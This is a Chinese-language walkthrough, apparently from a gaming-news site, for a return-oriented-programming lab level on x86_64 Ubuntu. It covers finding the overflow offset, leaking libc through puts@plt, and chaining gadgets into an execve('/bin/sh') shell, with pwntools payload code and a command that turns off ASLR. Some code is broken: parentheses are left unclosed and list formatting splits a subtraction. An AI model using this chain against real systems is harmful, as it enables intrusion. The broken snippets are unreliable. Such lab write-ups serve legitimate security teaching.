ROP第三章第六关详细通关步骤与实用技巧教学指南

频道:游戏资讯 日期: 浏览:2

环境准备与漏洞定位

ROP第三章第六关详细通关步骤与实用技巧教学指南

本章节实验环境基于x86_64架构,部署在Ubuntu 22.04系统,启用NX防护但关闭ASLR(可通过`echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`配置)。目标程序`rop_level6`存在典型的栈溢出漏洞,通过`checksec`验证可见栈空间可执行权限已禁用,需通过ROP技术实现攻击。

使用GDB搭配pwntools进行动态分析,关键漏洞点位于`vuln`函数的`read`调用。通过发送超长字符串可覆盖返回地址,构造偏移量时建议使用cyclic pattern确定溢出点。本关卡要求通过`execve("/bin/sh",0,0)`获取系统shell,需重点关注参数寄存器的控制。

核心利用思路拆解

第六关的核心挑战在于实现系统调用三参数的精确控制。在x86_64架构中,系统调用需满足:

  • rax存储系统调用号(execve为59)
  • rdi指向字符串地址
  • rsi、rdx分别设置第第三参数
  • 通过以下步骤构建攻击链:

    1. 泄漏libc基地址确定`/bin/sh`字符串位置

    2. 寻找控制寄存器的gadget链

    3. 设置rax寄存器为59

    4. 触发`syscall`指令执行

    关键突破点在于找到`pop rdi; ret`、`pop rsi; pop r15; ret`等寄存器控制gadget,以及`__libc_system`或`execve`的绝对地址。建议使用ROPGadget工具配合`--multibr`参数进行多指令片段搜索。

    分步攻击实现

    步骤1:构造初始溢出

    通过发送120字节随机数据后接8字节覆盖返回地址,确定崩溃点。使用pwntools的`cyclic(200)`生成测试payload,观察程序崩溃时的RSP值确认溢出偏移量为136字节。

    步骤2:获取libc基地址

    利用目标程序中存在的`puts@got`地址,构造payload跳转到`puts@plt`打印GOT表项。示例payload结构:

    ```python

    payload = flat(

    b'A'*136,

    pop_rdi,

    elf.got['puts'],

    elf.plt['puts'],

    elf.sym['main']

    ```

    接收输出后计算libc基址:`libc_base = u64(leak.ljust(8,b'\\x00'))

  • libc.sym['puts']`
  • 步骤3:寄存器控制链构造

    通过`ROP(libc)`对象查找关键gadget:

    ```python

    pop_rdi = libc.address + 0x23b6a # pop rdi; ret

    pop_rsi_r15 = libc.address + 0x2601f # pop rsi; pop r15; ret

    pop_rax_rdx_rbx = libc.address + 0x913f6 # pop rax; pop rdx; pop rbx; ret

    syscall = libc.address + 0x9132a

    ```

    步骤4:完整攻击链组装

    最终payload需依次设置:

    1. rdi指向`/bin/sh`字符串地址(libc_base + 0x1b45bd)

    2. rsi设为0

    3. rdx设为0

    4. rax设为59

    5. 执行syscall

    示例最终payload结构:

    ```python

    payload = flat(

    b'A'*136,

    pop_rdi,

    bin_sh_addr,

    pop_rsi_r15,

    0, 0,

    pop_rax_rdx_rbx,

    59, 0, 0,

    syscall

    ```

    高级技巧与避坑指南

    1. Gadget搜索优化

  • 使用`ROPgadget --binary libc.so.6 --opcode 5f5e`搜索连续指令
  • 关注`ret`指令后的内存偏移,部分gadget可能隐藏在非对齐地址
  • - 优先选择副作用小的gadget(如pop指令